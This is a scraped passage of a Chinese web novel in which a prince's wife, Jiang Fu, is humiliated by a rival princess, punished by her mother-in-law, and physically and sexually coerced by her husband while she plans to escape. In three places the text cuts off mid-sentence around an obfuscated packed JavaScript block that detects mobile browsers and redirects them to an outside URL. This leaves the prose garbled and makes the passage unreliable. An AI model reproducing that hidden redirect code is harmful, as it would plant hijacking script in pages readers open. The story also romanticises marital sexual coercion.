赏花宴上,她被人拦住,粉衣少女举着团扇道:“给睿王妃请安。”
姜芙点点头,算是回礼,抬脚欲走,少女道:“王妃这般清冷的性子,怪不得王爷不喜。”
坊间多传言他们夫妻琴瑟和鸣,这还是第一次听到有人说他们不睦,姜芙停住,侧眸道:“王爷喜不喜,好像同小姐无关吧?”
“王妃既然不能做解语花,不如把位子上出来。”少女道,“城中贵女多不胜数,任何一人都比王妃更适合侍奉王爷。”
姜芙听出来了,这人是想上位,但是看情形没成功。
交谈声音太大,引来其他人围观,大家抬帕掩唇议论纷纷,猜测到底谁会更胜一筹。
不过看她们的眼神也知道,她们更属意粉衣少女。
姜芙性子软,可不代表谁都能欺负,薛慎她不能如何,但旁人她不会留情。
直接道:“怎么?小姐是看上我家王爷了?若是小姐真看上了,登门说亲便好。”
她抿抿唇,“或许,小姐已经派人说亲了,只是我家王爷没同意?”
少女脸色红一片白一片,尴尬地说不出一句话。
姜芙:“无妨,既想做小就得有个小的姿态,小姐自己说不上话,本王妃可以代劳。”
她上前一步,定定道:“小姐真要给我家王爷做妾吗?”
做妾?
高门贵女性子傲娇,哪里肯给人做妾,闻言,抖着声音道:“姜芙你无理。”
“本王妃的名讳岂是你能乱叫的。”姜芙转头问主家,“原来庆王府便是这般做事的,倒叫本王妃开了眼。”
姜芙不可怕,可怕的是她身后的睿王府,是薛慎。
若是给薛慎知晓她今日受了这么委屈,怕是谁都不好过,庆王妃一脸歉意道:“娉婷多饮了酒,都是胡言乱语,请王妃莫怪。”
言罢,明侍女端来红木盒,“听闻王妃对画画颇有研究,这些都赠与王妃。”
姜芙见离去的时机已到,便没再说什么,婉拒东西后同婉儿一起离开。
娉婷本意是要当众给姜芙难堪,岂料最后难堪的是自己,红着脸从人群中走出。
这出闹剧,最后还是传进了宋氏耳中。
其他婆母知晓这样的事大抵会安抚两句,宋氏知晓后,把姜芙叫来狠狠一通训斥。
“你知道娉婷郡主是何等人吗?”
“那可是太后的心肝。”
“你今日如此欺辱她,是不是想害了整个睿王府。”
“母亲的意思是,儿媳要忍着?”姜芙道,“母亲是这个意思吗?”
“我——”宋氏轻哼,“出门再外,不知为夫家争脸面,还同泼妇般吵闹,难不成你觉得自己做对了?”
“那人贵为郡主当众羞辱儿媳,儿媳只是多言了几句,何错之有?”姜芙想起三年来所受的委屈,眼眶渐渐变红,“若是母亲觉得儿媳错了,那便罚儿媳吧。”
“这可是你说的。”宋氏道,“带王妃去祠堂跪着,没有我的命令不许出来!”
罚跪祠堂也不是一次两次了,姜芙膝盖上的旧疾便是这么来的。
这日她跪到用晚膳才停止,婉儿扶着她回了西厢院,进门第一眼看到的是端坐在桌前的颀长身影。
“王爷。”她抖着腿屈膝作揖。
薛慎好像没听到她的话,低着头看手上的书,也没让她起身的意思。
他不说起,姜芙便不能起,屈膝站在原地,没多久,整个人都抖起来,她极力克制着,但还是没用。
“咚”一声,倒在了地上。
“王妃。”婉儿去扶,被薛慎呵斥,“出去。”
婉儿不敢多言,抿唇走出去。
姜芙双手撑着地跪好,低头聆听他的训斥。
似乎高门大户都喜欢训斥人,她知晓,今夜自己又要无法安眠了。
“你可知今日同你争吵的人是谁?”
“之前不知,现在知晓了,她是娉婷郡主。”
“太后最喜欢娉婷郡主,你就不怕惹怒了太后?”
“怕,但妾身更相信,太后也是明事理之人,不会真对妾身做什么。”
“你的意思是,王府中的人都是不明事理的?”薛慎倾着身子凑过去,用书挑起她的下颌,“姜芙,若是今日本王因你受了太后的责罚,你当如何?”
“这件事不是妾身一人所为,王爷不是也参与其中吗?”
“哦?我何来参与?”
“不是王爷把人送到妾身面前的吗?”姜芙道,“那些话难道不是王爷属意她讲的?”
“王爷故意在众人面前给妾身难堪,不就是想看妾身方寸大乱吗?”
“抱歉,没能让王爷如愿。”
“你怎知是我?”薛慎挑眉道。
“妾身看到小八同她讲话了。”姜芙道,“小八可是王爷的人。”
薛慎啧啧道:“看来还是本王小瞧了你。”
“不,是妾身小瞧了王爷。”姜芙睨着他,“王爷如此会做戏,倒真叫妾身刮目相看。”
“伶牙俐齿不是好事,”薛慎提醒道,“小心命都不保。”
“那逆来顺受是好事吗?”膝盖还在一抽一抽的痛,姜芙忍了这么多年,换来的不还是如此无情的对待么,“妾身忍着,王爷便会开心吗?”
薛慎脸色突变,书落在她脸颊上,沉声道:“王妃德行有失,罚抄经书百篇,不抄完不许外出。”
又禁足……
他真是找各种理由不许她出门。
姜芙:“是。”
“本王饿了,陪本王一同用膳。”薛慎睨了她一眼,“还不起身?”
姜芙想起来的,可腿痛到极致,根本无法动弹,她缓和好久后才撑着地慢慢站起,随后脚步不稳,踉跄两下后跌进了薛慎怀中。
戏谑的声音从头顶传来,“几时王妃也玩这种投怀送抱的把戏了?”
姜芙想说没有,但她没说话的机会。
薛慎把她抱坐到靠窗的软榻上,故意把窗子打开,让冷风吹进来,趁她战栗时一把扯开她衣襟,咬上她侧颈。
他很喜欢咬她,身上的咬痕都是出自他的口。
至今腰侧还痛着。
……他真不是人。
姜芙无力抵挡,只能任其得逞,看着从天而降的雪花,她想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201000|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,自己可能真要死了吧。
薛慎最不喜她不专心,见她一直盯着窗外看,掐上她腰肢威胁道:“看我,不然我便把你抱到廊下行鱼水之欢。”
别看他端庄儒雅,实则坏得很。
姜芙想象着被他在众人前欺辱的画面,脸色胀红,她不要。
把头转过来,直直凝视他。
“抱我。”他又道。
姜芙依言抱上他脖子。
“叫阿慎。”
“……阿慎。”埋藏在心中千万遍的名字,喊出来的那刹是道别是割舍。
他不是她的阿慎。
他是魔鬼。
是疯子。
她的阿慎,死在了三年前。
恍惚的她还真忆起了什么,三年前真发生了一些事……
嗯,疼。
思绪被痛意占领,她秀美蹙起,哭着求饶,“轻、轻点,求你。”
薛慎从不是惜玉的人,又岂会轻,或许他是,只是对她没有怜惜。
“记住本王的话,以后离娉婷远点。”
“她若是出了事,本王也保不住你。”
每次都是告诫她,离这个远点,离那个远点,可他们都不是她想招惹的,是他们自己主动找来的。
就好比他,其实,姜芙最想远离的是他,薛慎。
薛慎太聪慧了,一眼看出姜芙的想法,“别想着离开我,这辈子都不可能。”
“就是把你杀了,我也会把你绑身边。”
“姜芙,不该有的念想不要有。”
“为什么?”姜芙战栗问。
“这是你欠我的。”薛慎几乎要把她撕了,“就该你还。”
他总说她欠他,可她哪里欠他。
他们的交集也不过才三年,这三年,她对他尽心尽力,何来欠他一说。
姜芙还想问,奈何薛慎不允,堵住她的唇,同她厮磨。
意识慢慢涣散,姜芙有些分不清是眼前还是曾经。
她看到了她离开那日,少年骑马追至码头,把她从船上拉下来,悄悄在她手中塞了一物。
是枚玉佩。
玉佩?????
姜芙想不起关于玉佩后面的事,玉佩在哪?为何她从未再见?
丢了?
被人偷了?
她想忆起,可始终想不起,头痛欲裂,心绪难安。
到底,她忘记了什么?
……
婉儿伺候姜芙沐浴,眼泪啪嗒啪嗒掉下了,“王妃,王爷下手也太重了。”
姜芙身上皆是青紫痕迹,无一完好之处,婉儿碰都不敢碰。
姜芙倚着浴桶,问道:“咱们银钱还有多少?”
“几百两。”婉儿道,“还有一些首饰,王妃要作何?”
“回头把首饰给当了吧。”姜芙看着氤氲的水汽,越发坚定了离开的心,“把我那些画也拿去寄卖。”
“卖画?”婉儿问,“为何突然卖画?”
姜芙可以瞒任何人,但不能瞒婉儿,“我要离开王府。”
婉儿:“离开??!!!”
“王妃如何离开?”婉儿道,“王爷不会允许的。”
“那就悄悄走,”姜芙既然已经下定了决心便不会更改,“这事不急于一时,咱们好好商议对策,记住,不可让旁人知晓。”
婉儿还有其他顾虑,“王妃便是逃了又能去哪里?老爷新娶了夫人,王妃根本回不去。”
“我不回,天高海阔,定能有我容身之处。”姜芙道。
……
许是想着离开后可以过自己想过的生活,姜芙近日脸上明显多了笑容,婉儿见她心情大好,提议外出转转。
姜芙没忘记薛慎的警告,她不想同娉婷再有什么,还是待在府中安全。
可有些事就是这样,你不找事,但事情会找上你。
譬如此时,姜芙正在作画,刘妈过来叫人,“王妃,前院活计太多,让婉儿去帮个忙。”
刘妈亲自来传话,姜芙也不好说什么,点头允了,叮嘱婉儿早些回来。
婉儿跟着刘妈离开,姜芙继续作画。
可不知为何,心绪突然不安,如何也画不下去,她去后花园赏雪,青竹在一旁陪着。
赏完雪,回来屋,姜芙轻唤道:“婉儿,给我——”
随即想起,婉儿不在。
她问了时间,婉儿离去两个时辰了,不安再次加重,又过了一个时辰,姜芙命人去寻人。
找到了被打的奄奄一息的婉儿。
姜芙闻声赶了过去,救下婉儿。
问道:“母亲,为何动婉儿动刑?”
“为何?”宋氏道,“她偷拿了郡主的金簪。”
婉儿摇头,“奴奴婢没拿。”
姜芙自是信婉儿,问道:“郡主的金簪是如何被偷的?”
娉婷因上次的事还在记恨姜芙,打婉儿也是为了给姜芙难堪,好不容易把人给招来,她肯定不会轻易放过。
“问那么多做何,本郡主说她偷了,她便是偷了。”娉婷道,“给我继续打。”
姜芙扑在婉儿身上,狠狠挨了一梃杖,腰似乎被打断,但她顾不得,惨白着脸问道:“既然郡主说婉儿偷了金簪,不如报官吧,让府尹来判。”
报官?
那不全露馅了。
娉婷自是不允,“贼人都找到了,报什么官,给我打,打死!”
“不许打。”姜芙道,“我看谁敢再动手!”
下人左右看了眼,抿抿唇,后退开。
“他们不敢,我敢!”娉婷夺过下人手中的梃杖,对着姜芙打去。
情急之下,姜芙唤了声:“王爷——”
薛慎如期出现,抱起姜芙,一把挥开娉婷,姜芙听他说道:
“郡主打本王的人,问过本王了吗?”
7. 第七章 又不乖
第7章
娉婷没想到薛慎会来,她给了身侧婢女一个眼色,喜儿一脸慌乱,低声道:“奴婢按照郡主的吩咐把王爷支走了,奴婢也不知……”
上次赏花宴受辱后娉婷越想越不甘,凭什么薛慎这样的妙人要和姜芙在一起。
若说般配,她和薛慎更般配才对,她一定要把薛慎抢回来。
故此这几日,她一直在暗中和宋氏见面,旁敲侧击后知晓宋氏也不喜姜芙,顺水推舟,宋氏做局,她补了一脚,先把姜芙身边的贱婢拉下水,然后便是姜芙。
为了万无一失,她特意去宫里见了姨母荣贵妃,把那日赏花宴发生的事一五一十告知。
她深信姨母会为她做主,果不其然,姨母找到陛下那里诉说一二,又把薛慎召进宫中。
她还命婢女喜儿在宫外等着,薛慎出来后,让他去堰都最大的酒楼,言明,哥哥在那里等他。
做好这一切,她才来了睿王府。
栽赃嫁祸,让婉儿挨了打,姜芙比预期中出现的早,不过也无妨,早处置早完事。
可是薛慎的出现让她委实慌了下,娉婷缓步迎上去,唤了声:“王爷。”
接着改口,“慎哥哥。”
她们也算是青梅竹马一起长大的,幼时她都是唤他慎哥哥的,那年若不是她去福禄寺陪太后祈福,睿王妃的位子怎么也轮不到姜芙。
这是娉婷最后悔的事。
薛慎看都没看她,大步走了过去,弯腰扶起姜芙,“怎么样?”
姜芙倚在他怀里,微微喘息。
薛慎把人护怀里,掀眸看向娉婷,“郡主好威风,连我睿王府的人也敢打!”
“慎哥哥,你别误会,”娉婷辩解道,“不是娉婷有意而为之,是这个叫婉儿的丫鬟做了错事,她偷了我的金簪。”
“簪子是我姨母送我的,你也知晓,贵妃娘娘待我如己出,我不敢糟蹋娘娘的心意。”
听着像是在解释,实则在告知所有人,她得荣贵妃恩宠,若是有人敢欺她,便是对荣贵妃不敬。
“娉婷也只不过想找回自己的失物。”
“难道这也不行吗?”
“慎哥哥,你当真要如此偏心吗?”
娉婷说着说着哭起来,宋氏见状开口道:“慎儿,郡主所言非虚,她的金簪就是让婉儿偷了。”
“你好歹是王爷,可不能如此偏颇,叫人寒了心。”
“对啊对啊,三弟我们可都看到了,就是婉儿这个下贱蹄子偷拿的郡主金簪。”刘氏周氏纷纷说道。
婉儿闻言跪地磕头,“王爷,王妃,婉儿没有,真的没有。”
婉儿性情如何姜芙最是知晓,她道:“妾身信婉儿,她说没有便是没有。”
“姜芙你何意?”刘氏道,“你的意思,婉儿说的是真的,大家说的都是假的呗?”
“为了一个贱奴婢惹怒郡主,姜芙你长没长脑子。”周氏道,“三弟,你可要为郡主做主。”
薛慎抬眸一一扫过,清冷的声音在厅中散开,“丢了金簪?”
娉婷:“嗯。”
“小八,关门!”薛慎道,“今日在场的人一个都不许走,本王亲自查!”
薛慎曾办过棘手的案子,那是一件陈年旧案,涉及朝中多名官员,几年来案件悬而未决,直到薛慎接手,不足月余便抓到了真凶,追回了赃款。
那是他初当睿王办过的第一个案子,轰动整个堰都城,庆帝自那以后越发对他器重,给了他无召可在宫中行走的特权。
坊间甚至流传出,只要薛慎出手便没有破不了的案子一说。
区区一个金簪遗失,又有何难。
话音落下,众人纷纷变了脸色,宋氏道:“阿慎,何须如此大费周章,你只需把婉儿重罚一顿,随后发卖了便可。”
“就是就是。”刘氏看了眼四周,黑漆漆的,好吓人,“三弟,有我们几个作证哪里还需要如此,金簪肯定是婉儿偷的,你按照家规处置即可。”
娉婷最会演戏,抖着肩道:“慎哥哥,我怕。”
薛慎没什么温度道:“本王是在为郡主寻物,郡主为何要怕?难道还有其他实情?”
娉婷:“……”
姜芙从薛慎怀里退出,跪地道:”请王爷明察。”
薛慎见她跪,眉梢微蹙,随即把人捞起,贴着她耳畔道:“我若是还了婉儿清白,你要如何?”
“嗯?”姜芙没懂。
“要怎么报答我?”他的声音很轻,只有她能听到。
姜芙偏头看他,跌进他如墨的黑眸里,抿抿唇,“王爷要如何?”
“本王要什么你都给?”
“……是。”
“那好,本王看你挺喜欢跪的,不如今晚,就跪在榻上吧。”
榻上……
姜芙想起他要做什么,苍白的脸颊上映出绯红。
大抵也只有他能如此一本正经的讲出不正经的话,让人脸红心跳加速,不知如何。
“别忘了。”暗处,他掐了把她的细腰。
姜芙顿感侧腰一片火热,想逃离的心再度涌出来,她是真的好怕他。
薛慎命所有人排队站好,一一盘查,问的也都是些无关紧要的问题,听不出和金簪丢失有何干系。
反复问了几遍后,他走到了喜儿面前,沉声道:“拿出来吧。”
喜儿抖着唇道:“奴婢不知,王爷要什么?”
“你家郡主的金簪呀。”薛慎突然抬高了声音,“交出来!”
喜儿咚一声跪地上,“奴婢没有,奴婢没有。”
“小八。”薛慎道,“搜。”
小八上前,手都没动,只是拿着剑在喜儿身上一顿挥舞,然后金簪出现在剑尖上。
“王爷。”
薛慎接过,问道:“是这支吗?”
娉婷当然不会承认,“不是。”
“那不如郡主说说你金簪什么样?”
“牡丹花型,上面有字,是贵妃娘娘送我的生辰礼。”
薛慎拿过紧脏看了眼,这支不是牡丹花型,上面也没刻名字。
喜儿道:“王爷,这……是奴婢的金簪,不是郡主的。”
“你多少月俸,竟然买的起这支金簪?”
“奴婢,奴婢……”
“还不从实招来!”
薛慎不怒而威时真的很吓人,喜儿瘫倒在地上,咚咚磕头。
“这支真的是奴婢的,真的是奴婢的。”
“用刑。”薛慎道。
喜儿哪里受得住这个,没多久,便招了,金簪确实是郡主的。
薛慎:“郡主还有何要辩解的吗?”
娉婷见事迹败漏,也不装了,“对,金簪就是我的,是我陷害的婉儿,你要拿我如何?!”
“不如何。”薛慎淡声道,“只不过以其人之道还治其人之身罢了。”
“你打了王妃多少,你就挨多少。”
娉婷:“……”
没人认为薛慎会真的动手,娉婷也不那么认为,直到板子落身上,她痛苦呻吟,“薛慎,你真不怕贵妃娘娘惩治你吗?”
薛慎道:“娘娘深明大义,明了个中缘由后,也会认为我做的对。”
“你执意要为了她打我?”娉婷怒指姜芙。
薛慎扣住姜芙的腰肢,箍紧在怀里,“她是我的妻,我当然要护她。”
好一个他的妻。
今日这出,姜芙非但没高兴,反而多了担心,经他这般一闹,她势必会成为众矢之的。
若有朝一日真的离开了王府,想来她也不会好过。
他明面上在护她,实则在断她的路,让她除了他以外,再无任何依靠。
如履薄冰,寸步难行。
姜芙双腿发软,朝地上倒去,薛慎把她拉起,“阿芙脸色为何如此?”
是被他吓的。
姜芙:“妾身突感身子不适。”
“好,我送阿芙回去。”薛慎揽着姜芙离开,见她走路实在慢,堂而皇之地打横抱起她。
后面传来轻嗤声,刘氏和周氏又在骂人了。
“母亲,你看三弟,成何体统。”
“真是没脸见人了。”
宋氏脸色也难看到极致,对着用刑的小八说道:“住手!”
小八停下,后退开。
宋氏亲自扶起娉婷,“郡主,让你受苦了,今日的事我一定会为你讨回公道。”
娉婷第一次挨打,恨意灌满周身,她不会让姜芙好过的。
……
西厢院,姜芙睨着薛慎,似有话要讲。
薛慎看出她的犹疑,道:“想问什么?”
“那日赏花宴你同郡主一起戏弄我,看得出你们关系匪浅,今日为何帮我?”虽猜出他是为了断她的后路,让她只能依仗他,但姜芙总觉得还有她不知道的。
“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201001|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和郡主关系匪浅?谁告诉你的?”薛慎问,“还有,谁说赏花宴那日我同她一起戏弄你了?”
“我那日问你,你并未否认。”姜芙可没忘记,她提及时,他唇角带笑的样子,明显就是默认。
“那日郡主找你麻烦,不是我授意的。”薛慎道,“小八去找她是因为旁的事,同我何干?”
“……”
姜芙不懂了,“那日你为何不反驳?”
“我为何要反驳?”薛慎把她放榻上,“你如是想,便随你了。”
他故意诱导她,让她误会,这样的薛慎,不单让人看不懂,也更骇人。
步步都在他的谋算中,姜芙有种盘上棋子的感觉,“你到底要做什么?”
薛慎:“我呀。”
他手指撩起她鬓角的发丝,换上了孟浪的神情,眼尾轻扬,“要,你。”
要什么?
你。
青天白日说话如此不知顾忌,姜芙突然不想跟他讲话了,拉过被子,背对他侧躺下,“妾身累了,王爷请自便。”
薛慎还有事情没办完,所以没计较她的无理,提醒道:“惹了娉婷郡主,这几日你最好都待在府里,本王不是哪次都能护住你的。”
姜芙:“知道了。”
“母亲那你暂时也别去,请安什么的,也免了。”薛慎再三道,“姜芙,不是谁都跟我一样不计较。”
这句话落在姜芙耳中,惹得她思索连连。
什么叫不是谁都跟他一样不计较?
他这话是何意?
屋里静下来,姜芙亲自为婉儿上药,随口问道:“你还记得当年的事吗?”
婉儿忍着痛,道:“王妃指的何事?”
“母亲病重我从堰都折返,路上因何落水?后你们又是在哪里寻到我的?”姜芙每每问起,府中众人皆是顾左言他,问父亲,父亲也只说,雨天路滑,不小心掉进了河里。
她追问,她失踪了多久?
所有人一口咬定,她只失踪了几日。
可她明明记得不是,她那日离家是初秋,可到家时已经是冬末,怎的是几日。
但她去查,又始终查不出什么。
大夫也说,是她思虑过多产生了幻象,实则她就是离家了几日。
到底谁在说谎?
婉儿道:“奴婢只记得,除了那几日外,奴婢一直在照顾王妃,从未离去。”
“或许,就是老爷讲的,只有几日。”
一个人失忆还说的过去,但两个人,不可能,这也是多年来,姜芙虽有疑虑但未曾多度深究的原因。
她不可能同婉儿一起失忆。
婉儿规劝:“事情已经过去很久,王妃还是切莫多想了。”
不是姜芙要想,而是近日总有模糊的片段出现在脑海中,一闪而逝,叫她心悸。
那枚玉佩到底在哪里?
“婉儿,你真的不记得我身上有块玉佩?”姜芙问。
婉儿摇头,“奴婢真不记得,是不是王妃记错了?”
可若真没有的话,薛慎为何提及?
看他神情,那枚玉佩应该很重要。
“哦,对了,”婉儿道,“或许表小姐见过也说不定,不如写信问问表小姐。”
姜芙:“好,问表姐。”
-
薛慎言出必行,当晚回来后,便抵着姜芙缠绵起来,她说她痛,他也没停,相反力道越发大。
姜芙察觉出他的怒气,不敢再说什么,忍着完事后,起身去沐浴。
薛慎紧随其后,见到她,把她抱进了浴桶里,水荡漾而出,姜芙想死的心再度浮现。
他到底要折腾到几时?
薛慎不喜她红着眼眸的样子,一直让她背对他,那抹如玉的香肩堪堪让他磨砺成红色。
上面有细密的齿痕印记。
他又犯病了,不停咬人。
姜芙受不住时,低泣问道:“妾身今日什么也没做,王爷为何如此?”
“什么也没做?”薛慎攫住她的下颌,扳过她的脸,冷冷道,“姜芙,装了这么多年,还没玩够吗?”
装?
她装什么了?
姜芙推他,反被他摁住了手,“妾身没什么可装的。”
“真是嘴硬。”薛慎手指用力揉捏她唇瓣,“不过没关系,总有软的时候。”
他抵着她道:“本王看是你硬,还是本王硬。”
8. 第八章疯魔
玉佩的事让姜芙失眠了几日,直到那日收到表姐的信笺她心情才舒缓,迫不及待打开要看。
忽的想起什么,抬眸朝外看了看,又命婉儿关好门窗,这才打开。
信笺是偷偷送进来的,还是婉儿买通了守门的才得以到了手中,故此她犹为谨慎。
再三确认稳妥后,去里屋打开了信笺。
信上字迹娟秀规整,笔锋微敛,是表姐的字,她垂首去看,逐字逐句读完,表姐信中言明,不知她有玉佩的事,也从未曾她提起,兴许是她记错了也说不定。
表姐又道,若是她仍心存惦念,她可以命人去查,一日查不出便一月,一月不可便一年,经年累月,总能查出些什么。
后面又说了些体己的话,叮嘱她莫要操劳,若是在王府呆的不顺心可来离城寻她。
她近日学会了新的菜,可做与她吃。
表姐字里行间皆是深情厚谊,叫姜芙无不动容,自母亲去世后,表姐是唯一一个从心底关心她的人。
哪怕她们不是真正的表姐妹,她亦感激涕零。
婉儿见她脸色便知写的什么,道:“表小姐也不知晓吗?”
姜芙点头,“嗯。”
“王妃别急,总能寻到的。”婉儿道,“要不请王爷帮忙。”
姜芙摇头,“不可。”
她不想同薛慎牵连太多,这事暂时先作罢。她提笔回信,最后写道,钦羡表姐自由身,愿他日能同表姐一般自由自在。
真如此,此生无憾。
婉儿端着茶盏走近,正巧看到,惊讶道:“王妃真要离开吗?”
她一直以为王妃那日不过是气话,谁知竟是真有此意。
“若我离开,你当作何?”姜芙问道。
“婉儿愿追随王妃。”婉儿跪地,“王妃去哪里婉儿便去哪里。”
“其实你也不用非要与我同行,我也可以给你寻个人家……”
“婉儿不要。”婉儿定定道,“奴婢得王妃照拂,此生只愿追随王妃,哪怕是死也无怨无悔。”
姜芙茶盏,弯腰扶起婉儿,“好,那你我共进退。”
婉儿不怕前路荆棘,怕的是王爷势力滔天,她们如何能逃得出。
“王妃想到离开的方法了吗?”
“尚未。”姜芙深知离开不是那般容易的事,需要准备周全后才行,故道,“此事不急,容我慢慢思量。”
便是急,也无法,薛慎看管的紧,别说她出府了,近日便是婉儿都不得出府了。
送个信都要你小心翼翼,生怕被发现。
“王妃信写好了吗?”婉儿问。
“嗯。”姜芙把信装进信封中,封好,递给婉儿,“切莫让旁人发现。”
婉儿:“是。”
婉儿把信藏于袖中,悄声提道:“对了,江公子刚让人传话来了。”
“江公子?”姜芙问道,“说什么?”
“他想约王妃见一面。”婉儿又道,“不过奴婢告知前来送信的小哥,近几日恐难办,小哥说不急,待哪日方便再见也可。”
哪日方便?
好像哪日都不方便。
姜芙突然忆起,五日后去姑母宁侯府做客的事,兴许那日可以见上一面。
她招招手,婉儿附耳听来,随即皱眉道:“……这,万一给王爷知晓了,怕是又要不安生。”
“王妃咱们还是从长计议吧。”
“奴婢怕……”
“你还有更好的方法?”姜芙问道。
婉儿当然没有,摇头,“没。”
“那你便去准备吧。”姜芙道,“记住,备两套男子的衣袍。”
……
五日后,睿王府一行人浩浩荡荡去了宁侯府做客,两家人每年冬日都会聚上一聚。
之前都是冬至小聚,今年有事情耽搁,晚了几日。
寒暄热络片刻后,女子去了后厅,品茶闲话家长,男子去了书房,商议朝事。
姜芙不小心打翻了茶盏,弄湿了衣裙,婉儿扶着她去换,其他人只顾着吃茶并未注意到。
等衣袍换好后,两人从后门离去。
婉儿慌乱不已,“王……公子,咱们这般做,若是给王爷知晓,怕是少不得一顿责打,奴婢倒是不怕,可您……”
“咱不久留,说上一两句便好。”
“公子为何非要见江公子?”
“我觉得表姐好像有事。”
“嗯?”婉儿不解。“公子怎知表小姐有事?”
“信笺。”姜芙道,“她信笺上有几处错字,表姐不是粗心大意之人,从前都未曾这般,我担心她出了事。”
“表小姐一个闺阁女子能出什么事?”
这也正是姜芙疑虑的,表姐处在深闺中,若是真有事的话,会是何事?
“亲事吗?”婉儿问。
“也有可能。”姜芙道,“见过江公子后便可知晓了。”
她们去的小巷后的茶楼,距离宁波侯府很近,进的雅间,里面早早有人候着。
见她来,站起身,“姜姑娘。”
姜芙:“先生。”
姜芙坐下,问道:“不知先生约我至此何事?”
“是小姐的事。”江宸道。
“表姐出了何事?”姜芙正好也要问。
“小姐前几日生病了,病中一直唤着姑娘。”江宸道,“江某斗胆提个不情之请。”
“先生请讲。”
“还望姑娘能看在我家小姐多次照拂的份上,同江某回离城一趟。”
“去离城?”
“去离城,见我家小姐。”江宸睨着她,“江某答应姑娘,待小姐病好,定会把姑娘安然送回堰都。”
“可……”堰都是牢笼,姜芙日日想离开,但她,不能走。
“若我无故离开,会连累我房里那些人。”姜芙道,“抱歉,我不能走。”
“难道姑娘不担心小姐吗?”江宸晓之以理动之以情,“小姐待姑娘如知己,愿为姑娘去死,姑娘忍心见小姐郁郁寡欢抑郁而终?”
姜芙当然不愿,若是可以,她情愿一命抵一命。
但……那些伺候她的丫鬟下人何其无辜,她怎能因一己私利害他们性命。
她若真走,薛慎不会放过任何一个人。
不,她不能。
“我知先生意思,可这事……”姜芙实在无法答应。
江宸看出她的犹疑,从袖中拿出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201002|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一物,“姑娘可还记得?”
那是一截断掉的发簪,昔日表姐为了护住她,用那根发簪伤了人,她也因此被对方打断了腿。
旁人眼里看到的是半截发簪,可她看到的是表姐的恩情厚意,为了她舍命相救之情。
“小姐为了姑娘命都可以不要,姑娘难道就不能为了小姐舍弃眼下这些吗?”江宸道。
姜芙手指微颤,心乱的很,“便是我应允,也不是那般能轻易离去的,我夫君他……”
“只要姑娘同意,我定能带姑娘离开。”江宸打断,“姑娘可信我。”
姜芙被理智和情感拉扯着,理智告诉她,不能去,她已为人妇,夫家是天,薛慎心狠手辣,若是她离开,府中定然不能安生。
可情感又告诉她,表姐的恩情她应该还,别说是离开了,便是把命给表姐也未尝不可。
“姜姑娘……”江宸道,“求你救救我家小姐。”
拉扯的线断了,她道:“请先生容我考虑几日。”
“好,江某等姑娘回话。”江宸抱拳作揖,“先行谢过。”
姜芙道:“不敢。”
此地不宜久留,姜芙看时间差不多,道道别后转身离开,刚要出去,门被人从外面撞开。
四目相对,她眼睛大睁。
薛薛慎???!!!
他怎么来了!!!
姜芙还未开口,一旁的紫衣女子先开了口,“表哥,我没说错吧,表嫂真的在同人私会。枉费表哥对表嫂情深义重,表嫂却做出如此不知廉耻的事,表哥一定不能放过。”
姜芙记得此人,她是宁侯府四小姐,三房所出,唤嫣然。
上次赏花宴宁嫣然也去了,人多,没来得及打招呼。
只是姜芙不懂的是,她们并无过节,她为何如此害她?
“表哥,好人家的女子可不会做这样的事,穿男装见男人,表哥万不能就此原谅,得重罚……”
眼见薛慎沉了脸,宁嫣然内心一阵冷笑,姜芙,看你这次怎么躲过。
宁嫣然和姜芙不熟,但和娉婷熟,她是在为娉婷报仇。
薛慎抬脚走近,上下打量她一眼,沉声道:“你有何要解释的?”
“我我没有同人私会。”姜芙道,“我只是身子不适,出来看诊。”
“看诊为何要穿男装?为何来茶楼?诓骗谁呢。”宁嫣然不屑道。
“王爷,你不信我吗?”姜芙柔声问。
“表哥,休听她狡辩,真假进去看看不就知道了。”宁嫣然率先闯进包间,里面什么都没有,桌子上也只摆着一盏茶。
“不可能,怎么会没有。”宁嫣然质问,“你把人藏哪了?”
姜芙柔声道:“夫君,妾身真没有。”
宁嫣然还要再说什么,被薛慎呵斥住,他牵上姜芙的手一起离开。
马车上。
姜芙深知他不好糊弄,欲找说辞搪塞,“夫君,妾身……”
下一瞬,被他一把攫住了脖颈。
“姜芙,你真是好胆量。”
“连本王都敢辱。”
“妾身……没有。”姜芙挣扎。
薛慎把她抵在车壁上,“这么想死,本王成全你。”
9. 第九章 挣扎
虽说姜芙不惧死,但真面对,心里还是胆怯的。
她摇摇头,抽噎说着:“……不要。”
大抵男子见到她这副模样都会心软吧。
薛慎也难得没像往日那般折辱她,而是粗鲁的为她擦拭脸上的泪,叮嘱车夫快些回府。
